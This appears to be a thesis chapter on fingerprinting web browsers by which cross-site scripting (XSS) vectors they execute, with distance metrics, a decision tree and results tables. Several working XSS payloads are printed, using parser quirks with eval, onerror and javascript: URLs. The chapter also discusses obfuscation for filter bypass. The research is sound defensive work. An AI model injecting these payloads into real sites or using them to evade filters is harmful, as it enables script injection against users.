have tons of HTML parser quirks to achieve browser ﬁngerprinting.
One might think that what we call quirks are essentially bugs. We think that
this distinction is not binary. Indeed, the root cause of some known XSS vectors can be
found in the speciﬁcation itself (e.g. the autofocus property combined with the onfocus
event in HTML5 speciﬁcation working diﬀerently across browsers), that is it is not a
standard implementation bug. Consequently, we consider that the browser behavior under
particular input is a quirk, whether desired or not, and whether incorrect or not.
Compared to network-based ﬁngerprinting, HTML-based ﬁngerprinting can be achieved
at the application level with no access to the low level network stack. This means that
an application can use browser ﬁngerprinting (for instance for honeyclient detection),
while remaining OS independent. For instance, a server-side application written can still
perform browser ﬁngerprinting independently of the application server (Tomcat, JBoss,
etc.), the Java virtual machine (IBM J9, OpenJDK, etc.) and the OS (Windows, Linux,
etc.).
Last but not least, the behavior of an HTML parser is very complex (that's why so
many cross site scripting attacks exist). Hence, the ﬁngerprint of HTML parser quirks
is hard to spoof. In other terms, if an defender wants to deploy counter-measures to an
HTML-based ﬁngerprinting, he has no solution but running all browsers in parallel.
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Figure 6.1  Overview of Our browser Fingerprinting Process
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6.3 Overview of the Approach
Figure 6.1 presents an overview of our browser ﬁngerprinting approach. Using quirks
to ﬁngerprint web browsers is feasible only if these quirks are testable, in the sense that
the speciﬁc behavior of the browser quirk can be observed through testing. This is why we
build our own dataset of testable quirks. They come from diﬀerent sources: collaborative,
fuzzing techniques such as Shazzer, existing referenced vectors (see section 6.4.3).
Based on this set of testable XSS vectors,the framework XSS Test Driver presented
in chapter 4, performs the full test suite on diﬀerent browsers, collecting as many XSS
signatures as possible. Each signature contains attributes describing the results of all the
tests. We consider an initial set of 77 browsers, and the corresponding signatures are
referred as the raw dataset of browser signatures. This dataset can be directly used for
ﬁngerprinting an unknown web browser in order to: (1) determine its exact version; (2)
build an optimized decision tree. Such a decision tree allows the quick classiﬁcation of the
family (e.g. Firefox or Chrome) of an unknown web browser according to its responses
to minimum ﬁngerprinting data (execution of a handful of quirks instead of thousands).
It has to be noted that the overall approach can be applied using any testable quirks. All
the ﬁngerprinting process steps are described in the following sections.
6.4 Origins of Parser Quirks Diversity
Parser quirks are inherited from the former browser war between Opera, Internet
Explorer and Netscape, for browser market shares. Pushing the competitor out of the
market by implementing appealing but non-standardized features, to bond website users
to speciﬁc browsers' features was a popular strategy. Many web developers suﬀered from
the IE6 compatibility requirements, and cross-browser compatibility, even in the only
regards of JavaScript, is still hard to achieve without speciﬁc tricks. For instance, the
XMLHTTPRequest object is one of the best examples. The results diﬀers between browser
families, and even between versions of IE.
Developers maintains several compatibility lists 4 and research in the testing commu-
nity on this issue is active [106] [107].
6.4.1 On Kinds of XSS
In this section, we provide some explanations on the discrimination power of HTML
parser quirks. The arguments come from observations done during the experiments, as
well as from the experience of two authors (junior and senior security engineers in an IT
security company). These arguments form a kind of taxonomy of XSS vectors.
Vendor-Dependent Vectors
Some vendors (especially Opera and Microsoft Internet Explorer) ship a large variety
of features that are unique. This includes CSS expressions, Visual Basic Script support,
4. http://caniuse.com/
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CSS vendor preﬁxes such as -o-link and other exclusive and often non-standard features.
Gecko-based user agents supported by an installed Java Runtime Engine (JRE) and
corresponding browser plugin support a non-standard feature called LiveConnect 5. Those
unique vendor features often come with XSS holes (vendor dependent vectors), and are
gold for ﬁngerprinting. For instance, vector 397 selected by the classiﬁer is known to work
only under Firefox family browsers.
Vector 397:
<script>({0:#0=eval/#0#/#0#(alert(1))})</script>
Feature-Dependent Vectors
Some XSS vectors depend on a speciﬁc feature (yet not vendor speciﬁc). Examples
are the VML-based JavaScript execution and DOM modiﬁcation vectors functioning in
older versions of Internet Explorer. Indeed, IE browser is the one supporting the legacy
VML feature (a vector graphics format predecessor of SVG  Scalable Vector Graphics).
It has to be noted as that support for this feature started with version 5.5 and ended
with version 8. Following versions 9 and 10 are not able to render VML-based images
without further eﬀort, document mode switches or additionally loaded behavior ﬁles. On
the other hand, early versions of Internet Explorer are not capable of displaying SVG
images properly while IE9 and IE10 do.
Version-Dependent Vectors
Some quirks are really dependent on the version, especially HTML5-based XSS vec-
tors. Partial feature support can usually be detected without large eﬀort and allows very
distinct version determination. An example for this classiﬁcation is the support for fea-
tures such as Iframe sandboxes and the srcdoc functionality. Chrome and other Webkit
browsers implemented partial support for it, and made many minor releases until its
complete implementation. As a consequence, ﬁngerprinting across such minor versions
among the same browser family can be accomplished.
Parser-Dependent Vectors
Some very discriminant vectors are only dependent on parser speciﬁcities such as
handling padding characters. Earlier versions of Google Chrome, for instance, allowed,
to use non-printable characters from the lower ASCII range to be used as padding in URL
protocol handlers. This strange behavior was later on removed and therefore enables a
precise ﬁngerprint distinguishing minor versions of Webkit-based browsers. Similar eﬀects
can be observed when testing against tolerance for white-space and line breaks. Man
browsers accept exotic characters such as the OGHAM SPACE MARK as valid white
space and therefore semantically relevant part in HTML elements and attributes. Vectors
89, 90, 128 and 258 selected by the classiﬁer belong to this category.
Vector 89:
5. https://developer.mozilla.org/en-US/docs/Java_in_Firefox_Extensions
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--><!-- --\x00> <img src=xxx:x onerror=%(eval_payload)s> -->
Vector 90:
--><!-- --\x21> <img src=xxx:x onerror=%(eval_payload)s> -->
Vector 128:
<script src="data:\xCB\x8F,%(eval_payload)s"></script>
Vector 258:
"`'><script>\xEF\xBF\xBE%(eval_payload)s</script>
Mutation Behavior
Many browsers have slightly diﬀerent behaviors once certain DOM properties are be-
ing accessed and mutated: it includes the properties innerHTML and cssText, DOM nodes
and CSS objects. Depending on the context and browser version, character sequences are
being changed, entities are being decoded and escapes removed. Special characters and
ASCII non-printable may be removed or mutated as well and thereby provide yet another
goldmine for successful ﬁngerprinting.
Bug Based Vectors
Some parsing quirks are due to bugs in browser implementations, and can be used
to help identifying a subset of browsers, splitting the family set between patched and
non-patched ones. It is the case for an Internet Explorer memory address leakage when
interacting with the DOM. this bug https://www.w3.org/Bugs/Public/show_bug.cgi?
id=16757#c10 was used for the following vector:
<script>
alert(document.createElement("td").cellIndex)
</script>
Recapitulation
There are many sources of HTML parsing speciﬁcities (vendors, features, versions,
etc.). The key reason of our ﬁngerprinting capability resides in using all of them in a
single uniﬁed framework of testable parsing quirks shaped as XSS vectors.
6.4.2 Towards a XSS Vector Taxonomy
XSS vectors share common properties, certain features inherited from the norms.
Others are speciﬁc to some browser versions. Each XSS vector require one or more of the
following features:
 Initiating grammar: in which grammar the scripting engine Call is referenced (ex:
html4, html5, css, svg, etc...)
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 required token(s): which tokens are required to reach the call in the grammar (ex:
script tag)
 required event(s)
 required script format
 required character set
Each of these basic features carrying the following properties:
 applicable obfuscation techniques (html encoding, url encoding, base64, script
string operators, etc...)
 normalization: is the criteria speciﬁc to a W3C norm or a vendor norm
 bug-related: is the vector a byproduct of a parsing bug
Many XSS vector can be derivated from root XSS vectors by obfuscating some of
its parts. By example, the basic <img src=x onerror=alert(1)> vector is derived using
grave accent obfuscation into <IMG SRC=`javascript:alert("RSnake says, 'XSS'")`>.
Truly original XSS vectors are the most reduced combination of features and properties
we can achieve. This is why we call them root vectors. Other are derived from these root
vectors by applying multiple obfuscation techniques. These techniques can be disruptive
and cause the XSS vector to fail in some browsers and to work in others.
By mapping these features and properties we could build a vector generation grammar
suitable for new XSS vector discovery.
The identiﬁcation of allowed obfuscation techniques for each property may improve
existing WAF bypass testing techniques against XSS attack. 6
All this work may lead to deﬁne a model for XSS vectors that could be used in
model-based testing.
6.4.3 A Dataset of HTML Parser Quirks
The following subsection describes the three sources we have used to build a signif-
icantly large collection of XSS vectors usable for ﬁngerprinting. These sources include
static vector libraries as well as XSS fuzzing generation tools.
RSnake's XSS Cheat Sheet - Legacy Vector Collection
The XSS Cheat Sheet was created by R. `RSnake Hansen et al., and provides a
rich resource for penetration testers and developers. It showcases an overall of 100 diﬀer-
ent XSS vectors demonstrating character and string parsing issues, especially for legacy
browsers. The resource has not been updated for many years though; modern HTML5
and SVG based attack vector examples are not present in this document. A beta-version
of an overworked XSS Cheat Sheet was announced in 2010, but never found its way to a
public release. The lack of updates of this document lead to community-driven projects
such the HTML5 Security Cheatsheet (H5SC).
6. https://www.owasp.org/index.php/OWASP_Bywaf_Project
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Table 6.1  Composition of the XSS database (number of XSS vectors per source)
Rsnake Html5Sec Shazzer Total
69 163 291 523
HTML5 Security Cheatsheet - Community Vector Collection
The HTML5 Security Cheatsheet (H5SC) is a community driven project that aims
at documenting and categorizing known XSS and other client-side attack vectors. The
H5SC provides a simple JSON based storage model and allows registered and approved
contributors to add new XSS vectors, to modify existing data and most importantly
for us, to provide version information on which user agents are aﬀected by the demon-
strated attack vector. This allows security professionals and developers to protect their
applications accordingly and even perform basic risk assessment, for instance when ﬁx-
ing a vector is in conﬂict with required application features. The H5SC set contains 120
individual attack vectors alongside with detailed explanations on their inner workings.
Shazzer - Collabrative Fuzzing for Identifying XSS Vectors
Shazzer 7 is a collaborative website aiming at providing an interface for collaboratively
specifying and identifying possible XSS vectors. Shazzer oﬀers enumeration templates and
an internal render and storage engine. A user can for instance deﬁne a vector template
containing various diﬀerent placeholders. After starting the actual fuzzing process, the
placeholders will be iteratively replaced by the corresponding characters and rendered
in an isolated iframe to see whether the desired eﬀect can be accomplished with the
currently tested characters. Shazzer has been used by a large number of security testers
to determine whether known an unknown parser bugs in modern user agents have been
discovered and ﬁxed.
The set of sources of XSS vectors is summarized Table 6.1. For a total of 523 vectors,
the main provider is Shazzer (291). The full vector list is available at http://xss2.
technomancie.net/vectors/
6.5 Fingerprinting Methodology
This section presents the methodology we use to ﬁngerprint browsers using their
responses when executing XSS vectors based tests. The signature dataset provided by
XSS Test Driver is used as input.
6.5.1 Exact Fingerprinting Based on Hamming Distance Between Browser
Signatures
Similarity measurement is used to ﬁnd nearest neighbors in a set of vectors. An
eﬃcient way of doing it is to calculate the Hamming Distance between vectors. The
7. see http://shazzer.co.uk/home
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Hamming Distance evaluates similarities between 2 vectors having the same number of
dimensions, and is deﬁned as follow: for two vectors V1 and V2, this measure corresponds
to the number of dimensions where the element of the vector V1 diﬀers from the element
of the vector V2.
6.5.1.1 XSS Browser Signature
We deﬁne the browser signature as a vector computed from a browser instance pro-
vided by XSS Test Driver. The size of the vector is n where n is the number of XSS
vectors in the database (see 6.4.3). As deﬁned in the test logic section 4.4, the value of
each element is in the set: {s, p, n} where
 s corresponds to SENT
 p corresponds to PASS
 n corresponds to NA
Let us consider the following simple signatures Sb1, Sb2 and Sb3 that are obtained
from executing three XSS vectors on three web browsers b1, b2 and b3.
 Sb1 = pps
 Sb2 = pns
 Sb3 = pnp
Sb1 captures the fact that the two ﬁrst XSS-vector executions are PASS and the last
SENT.
To deal with browsers for which we do not have enough signiﬁcant data for ﬁnger-
printing, we deﬁne a conﬁdence value based on the percentage of XSS vectors the web
browser executes:
∑
(PASS|SENT )/∑(XSSvectors). If this value is too low for a given
browser, we cannot trust its instance. Browsers with signature conﬁdence above 90% are
used in this paper.
6.5.1.2 Modiﬁed Hamming Distance
To measure similarity between two incomplete browser signatures, we propose a mod-
iﬁed Hamming distance (MHD) in order to ignore NA in the signature.
Our distance works as follow: given two browser signatures, it computes the Hamming
distance only on XSS results that are s or p in both signatures (not n). The modiﬁed
Hamming distance between Sb1 and Sb2 is 0, and the MHD between Sb1 and Sb3 is 1.
When XSS Test Driver collects a signature, we compute the MHD between this sig-
nature and the known signatures from the browser dataset. When two browser signatures
in the database have a MHD of 0, the ﬁngerprint cannot distinguish among those corre-
sponding browsers: they are similar, meaning that we may have many signatures of very
close versions e.g., Firefox 10.1.1 and Firefox 10.1.2. If there is no browser signature in
the database with a distance of 0, we consider the nearest neighbor deﬁned the browser
signature(s) with the smallest MHD. Having a a nearest neighbor with a large MHD
means that the browser is clearly distinguished among the dataset.
As a complement and to evaluate how the browsers belonging to a family are grouped,
we calculate the Median Distance to the Family (MDF) of the browser. As its name
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suggests, MDF indicates whether a browser is close to its siblings or not. If all browsers
of a family have a low MDF, it means that the family is cohesive and they do share
the same HTML parser behavior. We also compute the Median Distance to the Dataset
(MDD) to determine outlier browsers, those that do not resemble any other browser.
6.5.2 Browser Family Fingerprinting Using Decision Trees
Identifying the browser family with a minimum of tests is crucial when an attacker
spoofs the UA string, in order to minimize the spoof detection time. The raw dataset
produced by XSS Test Driver is also used to validate the ﬁngerprinting methodology
based on machine learning algorithms.
6.5.2.1 Classiﬁcation based on Decision Trees
The classiﬁcation algorithms based on decision trees (DT) are useful in supervised
data mining since they obtain reasonable accuracy and are relatively inexpensive to
compute. DT classiﬁers are based on the divide and conquer strategy to construct an
appropriate tree from a given learning set containing a set of labeled instances, whose
characteristic is to have a class attribute. As a well known and widely used algorithm,
C4.5 (developed by Quinlan [108]) generates accurate decision trees that can be used
for eﬀective classiﬁcation. We have used J48 decision tree algorithm, a Weka [109] im-
plementation of C4.5. It builds a decision tree from a set of training data also with the
concept of information entropy. It uses the fact that each attribute of the data can be
used to make a decision that splits the data into smaller subsets. Like C4.5, J48 examines
the information gain ratio (can be regarded as normalized information gain) that results
from choosing an attribute for splitting the data.
The attribute with the highest information gain ratio is the one used to make the
decision. The decision trees are constructed as a set of rules during learning phase. Rules
can be seen as a tree composed of nodes containing tests on attributes and leading to
leaves containing the class of the learned instance. It is then used to predict the class of
new instances belonging to a testing set, based on the rules.
6.5.2.2 Labeled Browser Instance Description
XSS Test Driver provides the initial dataset needed to ﬁngerprint the browser family.
The chosen browser families correspond to recent browsers: Android, Chrome, Firefox,
Internet Explorer, Opera and Safari. Table 6.2 summarizes the number of tested browsers
per browser family, a subset of 72 instances (5 of them does not belong to the selected
families). To build the labeled dataset, we consider as attributes for classiﬁcation the P,
S and N values of the XSS test execution, and we add an attribute labeled family. This
family attribute may have one of the 6 possible values listed in table 6.2.
Table 6.3 presents 2 labeled instances extracted from the real data set.
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Table 6.2  Distribution of Browser Families
Family Instances
Android 15
Chrome 19
Firefox 15
IE (Internet Explorer) 6
Opera 6
Safari 15
Table 6.3  Example of labeled signatures
Attr. 1-1-1 1-2-1 . . . 523-2-1 family
Value N P N Safari
P S N Firefox
6.5.2.3 Building the Decision Tree
We conﬁgure Weka Explorer to use J48 classiﬁcation algorithm and family as class
attribute. Firstly, We consider the whole labeled data set containing 72 instances to train
J48 classiﬁer. The generated DT is composed of nodes containing tests on attributes val-
ues, until the leaf containing the class attribute ﬁlled during the learning phase. After
the training phase, we use the same data set to test our DT and we compare the class
obtained with the DT to the class present in the instance: a diﬀerence reveals a misclassi-
ﬁcation. The quantity of errors of this ﬁrst evaluation gives an estimation of the classiﬁer
produced by the whole data set regarding the class attribute family.
6.6 Experimental Results
In this section we analyze the results of our browser ﬁngerprinting experiments.
6.6.1 Exact Fingerprinting Results
We have applied the method described in 6.5.1 to ﬁngerprint our dataset of browsers
in order to see whether the resulting ﬁngerprints are discriminant. Tables 6.3 and 6.4 (at
the end of the paper for sake of readability) present our results. The ﬁrst column lists
all browsers of our dataset. The second column indicates the nearest neighbor within
the dataset according to the Hamming distance between browser signatures. The third
column gives the distance between those two neighbors. The fourth and ﬁfth columns
are the median distances to the browsers of the same family (MDF) and the number of
elements in the family. The last column is the median distance to the whole dataset (to
see whether they are family or true outliers). The results are ordered by MDF.
First, one sees that for all browsers with a MHD of 0 to their nearest neighbor, the
neighbor is a browser of the same family with a very close minor version number. Minor
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Table 6.4  MHD Fingerprinting Eﬃciency analysis
MHD=0 nb of browsers FP rate Well Fingerprinted
22 77 28,57% 71,42%
Table 6.5  Browser family classiﬁcation results
Total number of instances 72 100.00%
Correctly classiﬁed instances 71 98.61%
Incorrectly classiﬁed instances 1 1.38%
versions suppose no big changes in funtionnality and in the parsing engine (no new tags,
JavaScript events or new properties). Only a very speciﬁc bug could serve to discriminate
between minor versions. This conﬁrms the soundness of our approach.
Second, i.e. 78% of our browser dataset have a nearest neighbor at a MHD distance
higher than 0. This means that those browsers can perfectly be discriminated and that
MHD is an appropriate distance to capture both the family and the version informa-
tion. This conﬁrms our intuition that browser ﬁngerprinting using XSS vectors is very
discriminant.
Interestingly, browsers 25, 27 and 89 are exotic browsers like the ones you can ﬁnd
inside set top boxes or smart-tv. Their MDD is very high, showing that MDD actually
captures the originality of browser implementation. For instance, browsers with an older
code base like Konqueror (11) are at a huge distance from the dataset mainly composed
of recent browsers. Also, the nearest neighbor of Rekonq(27) is Safari 5.0.6(40), which
makes sense since they use the same major version of the webkit engine (version 534). The
MDFs of each browser in the dataset indicates its proximity with the rest of its family.
The Firefox family and the Chrome family both contains a bigger number of elements
due to the higher pace of release. Time and diﬀerences between two major versions of
Firefox or Chrome is equivalent to minor version changes for IE or Safari in term of
release time line.
Rekonq Linux, Origin and Konqueror browsers use Webkit as HTML parser, as also
do Safari, Chrome and Android. We can see that browsers in the same family have similar
MDF (e.g. MDF = 15 for Firefox). This shows that MDF correctly captures clusters of
related browsers.
The summary of this experiment is that if two browsers share the same HTML parsing
code base, they also share highly similar ﬁngerprints.
6.6.2 Browser Family Fingerprinting Results
We use the whole dataset to train and build the decision tree presented of Figure
6.2. We use this tree to classify the training set, giving the results presented in table 6.5.
The key point of this decision tree is that one can classify 98% of the dataset using only
5 runs of XSS vectors.
The confusion matrix highlights the accuracy of the classiﬁcation using our DT. The
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397-1-1
!=PASS 89-1-1
PASS IE
!=PASS 90-2-1
PASS 128-1-1
PASS 258-1-1
!=SENT Opera
SENT Safari
!=PASS Android
!=PASS Chrome
PASS Firefox
Figure 6.2  Executing at most 5 XSS vectors enables us to classify the browser family
with 98% precision.
diagonal of the matrix counts how many instances belonging to a class are correctly
classiﬁed in this class. One can observe that the instance incorrectly classiﬁed belongs to
Android and is classiﬁed as Chrome. Since Chrome and Android share a signiﬁcant code
base, it is logic that some instances of Android are close to some Chrome instances.
Vectors #89, #90, #128 and #258 come from Shazzer and use parser bugs to special
characters like 0x00. Vector #397 is speciﬁc to Gecko-based browsers and come from
html5sec 8.
As a ﬁrst experimentation, we plan to develop this approach as a piece of software
in a web application ﬁrewall. This ﬁrst step needs further investigations to validate our
decision tree on a larger set of browsers.
6.6.3 Recapitulation
Our experiments show that the exact version of a web browser can be determined
with 78% of accuracy (within our dataset), and that only 5 tests are suﬃcient to quickly
determine the exact family a web browser belongs to.
6.7 Discussion
6.7.1 On Time and XSS
The fact that one can determine the browser exact version just using quirks is appeal-
ing. In particular, one can wonder whether there is some underlying logic in the way the
quirks occur, making them predictable. Indeed, we could expect two successive versions
of a given browser to exhibit more similar quirks than more temporally distant ones.
There may be general temporal factors explaining the discrimination power of HTML
parser quirks. One of such explanation factor could be the evolution of JavaScript and
HTML norms over time.
In this section, we investigate two research questions to better analyze the discrim-
ination power of quirks (at least those provoked by our XSS vector dataset) on which
we build the ﬁngerprinting technique. The two research questions are: RQ1) Can we ob-
serve general trends relating the temporal distance of two web browser instances with
8. http://html5sec.org/#15
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Table 6.6  Confusion matrix
classiﬁed as a b c d e f
a = Safari 11 0 0 0 0 0
b = Firefox 0 15 0 0 0 0
c = IE 0 0 6 0 0 0
d = Opera 0 0 0 6 0 0
e = Android 0 0 0 0 14 1
f = Chrome 0 0 0 0 0 19
their exhibited quirks? RQ2) Does the discrimination power of quirks decrease when the
versions of a given web browser family are close?
Figure 6.5 answers to those questions. Each plot represents a pair of web browser
instances. The X-axis value is the time period in days of the release dates of the two
browsers. The Y-axis value is the Modiﬁed Hamming distance between both as deﬁned
above.
Globally, greater it the time between releases, greater is the MHD between ﬁnger-
prints, this is observable in ﬁgures' bottom where we can distinguish a step-like form.
Maybe each step is related to the implementation of a set of features but the granularity
of tested browser versions is not enough to allow a ﬁner analysis. Maybe a larger scale
test of browser versions with several minor versions for each major one will permit it.
Maybe time of release is not a good scale for this analysis, a revision number might be
more sound.
Concerning RQ2, we go more in depth in the analysis and consider local factors,
that may be related to the development process into a same web browser family. Usually
regression tests are run to ensure that a new version does not behave in a diﬀerent manner
than the previous one, at least for its existing functionalities. We should thus observe that
two versions close from a temporal viewpoint have nearly the same Modiﬁed Hamming
distance. As an example, Figure 6.6 (Opera alone) plots every pair of web browser versions
for Opera. Surprisingly, no clear trend appears. This also applies to other browser families
like we have seen in chapter 5. It seems that there is no systematic development processes
explaining the emergence or removal of HTML browser quirks. For browser ﬁngerprinting,
this is again very valuable, because it enables us to also discriminate between two close
browser versions. For instance, as shown in table 6.4, we clearly discriminate between
Safari 4.0.4 and Safari 4.0.5 (distance of 13 much higher than zero).
To conclude, it does not seem possible to relate the quirks discrimination power to
general factors, while it seems that a potential explanation may be ﬂaws in the develop-
ment processes. It is interesting to observe (see annexes) that the plots are completely
diﬀerent from one browser family to another.
The classiﬁcation of web browsers according to quirks must thus follow another ex-
planation than time. We develop this point in the next section.
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6.7.2 Limitations
We now discuss the important limitations of our approach.
Hardly spoofable behaviors are key in an arm race between exploit kit writers and
malware analysts. Browser speciﬁc behaviors are hard to emulate except by targeting
quirks one by one. Parsing bugs get ﬁxed over time. This may be a limitation since our
ﬁngerprinting capabilities may decrease over time. So far, this is not true. According to
our empirical data, until now, the rate of quirks introduction (due to new features) is
comparable to the rate of quirks removals (due to bug ﬁxing).
Finally, the technique we propose only considers the quirks related to html parsing
and bindings between DOM and JavaScript engine, which can be seen as a limitation. Our
technique cannot fully protect a defender but should be used as a lightweight technique
to be used in complement to more heavy-weight techniques (see ﬁngerprinting techniques
in section 2.4 in the state of the art).
6.8 Other Uses for Browser Fingerprinting
Whatever the ﬁght is, when the weapons are comparable, harming a target requires
the identiﬁcation of weaknesses to adapt the attack accordingly. Conversely, defending
from an attacker also requires a similar analysis that enables an appropriate counter-
attack. Besides, both opponents will develop their own protecting measures, improving
the armor they wear; history has shown many examples of such improvements (e.g. plate
armors of late occidental Middle Age).
This symmetrical aspect of a ﬁght, with the same oﬀensive weapons, also occurs
in nowadays web security, in which the notion of counter-attack is becoming crucial.
While an attacker will try to identify the exact web browser his victim uses to imagine
a dedicated attack, a defender of a web site may want to detect the exact web browser
the attacker uses, improving his ability to defend and respond to him.
In this section, we describe such sophisticated couter-measures and malicious usage
of browser ﬁngerprinting from the viewpoint of both security engineers and attackers.
6.8.1 Defense Using Client Side Honeypots
A client side honeypot is a browser like application suited to collect browser exploits
and malware samples when visiting a website suspected to host a browser exploit kit [110].
Two family of honeypot exists, low interaction, and high interaction honeypot clients (or
honey-clients).
Low interaction ones like honeyc [111] are made of spoofed browser User Agent and
just follow links provided by exploit kits and collects any executable they ﬁnd. These
pieces of malware are then automatically submitted to malware analysis platforms like
Anubis [112]. By spooﬁng various popular user agents and iterating connections on ex-
ploit kit URL, a single honey-client can collect a subsequent amount of browser exploits.
However, if the browser exploit kit uses advanced browser ﬁngerprinting, such low inter-
actions honey-client fail to identify malicious website and to collect malware.
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To overcome this problem, high interaction honey-clients are made of instrumented
browsers running into virtual machines like phoneyc [113]. High-interaction means that
the honey-client can respond to all kind of ﬁngerprinting challenges sent by the browser
exploit kit (such as JavaScript execution). This approach is very heavyweight. By know-
ing browser ﬁngerprints summarizing high interaction ﬁngerprinting challenges, low in-
teraction client side honeypots are much easier to build and maintain compared to high
interaction honey-clients.
6.8.2 Detection of Disguised Crawlers
Malicious crawlers tend to use user-agents strings of standard client browsers. On the
one hand, they don't have to declare themselves, on the other hand, this allows them to
access resources that are restricted to robots and crawlers. Detecting disguised crawlers
is especially important to ban clients that are eating all resources up to all kinds of
deny-of-service. We think that techniques based on browser ﬁngerprinting may be used
to detect whether a client is a bot or not.
6.9 Conclusion
Countermeasures for this techniques can only be brought by the lineup of each major
browsing engine inside honeyclient to properly trigger the JavaScript code bound to
browser-speciﬁc quirks. It is an issue aﬀormentionned in SWAP xss detection.
Browser ﬁngerprinting is also heavily employed for marketing purposes to replace
cookie-based user tracking [88] 9. It can be a source of false-positive when trying to
discriminate between techniques focused on user-related properties and those focusing
on browser version identiﬁcation for vulnerability exploitation.
In this paper, we have presented an approach to ﬁngerprinting web browsers based on
XSS vectors. This approach is able to perfectly ﬁngerprint 78% of our browser dataset.
To ﬁngerprint only the browser family, the recognition ratio is 98% with only six XSS
vectors to be executed. We are now working on extending our browser signature database
using Amazon's Mechanical Turk. We also plan to mix diﬀerent browser ﬁngerprinting
techniques (JavaScript, network traﬃc, etc.) to achieve even higher recognition rates.
9. cookieless monster s&p 2013
117
6.9. CONCLUSION
Figure 6.3  Browser Distance Analysis using Modiﬁed Hamming Distance (ﬁrst part)
Browser Nearest Neighbor (MHD) MHD MDF Fsize MDD
#89 - Origin Browser #28 - Safari 5.1.5/MacOSX 10.7.3 3 - 1 129.0
#25 - fbx v6 #8 - Safari 5.1.5 7 - 1 127.5
#27 - Rekonq Linux #40 - Safari 5.0.6 15 - 1 131.0
#11 - Konqueror 4.7.4/KHTML #46 - Chrome 3.0.182.2 52 - 1 88.5
#5 - Firefox 11.0/Win7 #39 - Firefox 11.0 0 0,5 15 67.5
#9 - Firefox 10.0/Ubuntu/Linaro #39 - Firefox 11.0 0 0,5 15 67.5
#16 - Mozilla Firefox 11.0 Ubuntu #39 - Firefox 11.0 0 0,5 15 67.5
#21 - Firefox 10 #39 - Firefox 11.0 0 0,5 15 62.5
#39 - Firefox 11.0 #59 - Mozilla Firefox 9.0 0 0,5 15 67.5
#51 - Mozilla Firefox 8.0 #39 - Firefox 11.0 0 0,5 15 67.5
#59 - Mozilla Firefox 9.0 #39 - Firefox 11.0 0 0,5 15 67.5
#60 - Mozilla Firefox 10.0 #39 - Firefox 11.0 0 0,5 15 67.5
#4 - Firefox 8.0.1 #88 - Firefox 11.0 linux 0 1 15 68.5
#88 - Firefox 11.0 linux #4 - Firefox 8.0.1 0 1 15 68.5
#62 - Chrome 12.0.742.91 #63 - Chrome 13.0.782.99 0 2 19 71.5
#63 - Chrome 13.0.782.99 #62 - Chrome 12.0.742.91 0 2 19 71.5
#58 - Chrome 10.0.648.133 #57 - Chrome 9.0.597.94 1 3 19 72.5
#1 - Chrome 18.0 #15 - Chromium 18.0 0 3,5 19 69.5
#15 - Chromium 18.0 #65 - Chrome 16 0 3,5 19 69.5
#64 - Chrome 14.0.814.0 #15 - Chromium 18.0 0 3,5 19 69.5
#65 - Chrome 16 #15 - Chromium 18.0 0 3,5 19 69.5
#70 - Chrome 17.0.963.8 #15 - Chromium 18.0 0 3,5 19 69.5
#75 - Chrome 18 / Win XP 32 #15 - Chromium 18.0 0 3,5 19 69.5
#66 - Chrome 15.0.874.106 #15 - Chromium 18.0 1 3,5 19 69.5
#56 - Chrome 8.0.552.215 #57 - Chrome 9.0.597.94 0 4 19 73.5
#57 - Chrome 9.0.597.94 #56 - Chrome 8.0.552.215 0 4 19 73.5
#83 - Firefox 11.0 #4 - Firefox 8.0.1 4 5 15 70.0
#19 - Firefox 7.0 #39 - Firefox 11.0 5 5 15 70.5
#55 - Chrome 7.0.517.41 #57 - Chrome 9.0.597.94 3 7 19 72.5
#53 - Chrome 6.0.453.1 #57 - Chrome 9.0.597.94 7 7,5 19 72.0
#96 - Chrome Nexus S #15 - Chromium 18.0 6 8,5 19 69.5
#73 - Chrome 18.0 #15 - Chromium 18.0 9 11 19 76.5
#68 - Opera 11.65 Mac OS X 10.7.3 #2 - Opera 11.11 9 14 6 124.0
#107 - IE 9 #3 - IE 9.0 9 17,5 6 69.0
#24 - IE 7.0 #86 - IE 7.0 1 21 6 76.0
#86 - IE 7.0 #24 - IE 7.0 1 21 6 77.0
#2 - Opera 11.11 #7 - Opera 11.52/Win7 3 21 6 136.0
#84 - IE 7.0 #86 - IE 7.0 4 22 6 78.0
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Figure 6.4  Browser Distance Analysis using Modiﬁed Hamming Distance (second part)
Browser nearest neighbor (MHD) MHD MDF Fsize MDD
#7 - Opera 11.52/Win7 #2 - Opera 11.11 3 24 6 134.0
#18 - Opera 11.62 #68 - Opera 11.65 Mac OS X 10.7.3 14 24 6 133.0
#31 - Firefox 3.0.17 #32 - Firefox 3.0.15 0 25 15 79.5
#32 - Firefox 3.0.15 #31 - Firefox 3.0.17 0 25 15 79.5
#29 - Firefox 3.0.6 #31 - Firefox 3.0.17 2 25 15 81.5
#85 - IE 8.0 #107 - IE 9 23 25,5 6 100.0
#95 - Android 2.3.3 #94 - ANdroid 2.3.1 13 26 15 160.5
#100 - Samsung galaxy ace #105 - Samsung Galaxy S 13 26,5 15 151.0
#104 - LG p970 #106 - Sony Xperia s 11 27 15 142.0
#94 - ANdroid 2.3.1 #95 - Android 2.3.3 13 27 15 154.5
#106 - Sony Xperia s #104 - LG p970 11 27,5 15 152.5
#101 - Samsung galaxy y #100 - Samsung Galaxy Ace 13 29 15 154.5
#105 - Samsung galaxy s #100 - Samsung Galaxy Ace 13 30 15 155.0
#48 - Chrome 4.0.223.11 #52 - Chrome 5.0.307.1 4 31 19 73.5
#52 - Chrome 5.0.307.1 #48 - Chrome 4.0.223.11 4 31 19 75.5
#98 - Samsung galaxy tab #104 - lg p970 15 31 15 157.0
#3 - IE 9.0 #107 - IE 9 9 32,5 6 85.0
#17 - Internet Explorer 9 Win 7 64b #107 - IE 9 15 35 6 80.0
#46 - Chrome 3.0.182.2 #48 - Chrome 4.0.223.11 10 37 19 64.5
#6 - Opera 12/Android 2.3.3 #68 - Opera 11.65 Mac OS X 10.7.3 27 37 6 127.0
#79 - Android 1.5 #80 - Android 1.6 19 39 15 144.0
#80 - Android 1.6 #79 - Android 1.5 19 41,5 15 147.0
#99 - HTC Desire hd #100 - Samsung Galaxy Ace 40 44,5 15 151.5
#82 - Android 2.1 #95 - Android 2.3.3 38 47 15 158.5
#37 - Opera 10.6 #2 - Opera 11.11 41 49 6 127.0
#92 - Safari 3.2.1 #91 - Safari 3.1.2 1 54 11 149.0
#91 - Safari 3.1.2 #92 - Safari 3.2.1 1 56,5 11 148.0
#69 - Safari 4.0.4 #90 - Safari 4.0.5 13 60,5 11 148.5
#81 - Safari 5.0.5 #69 - Safari 4.0.4 20 64,5 11 152.5
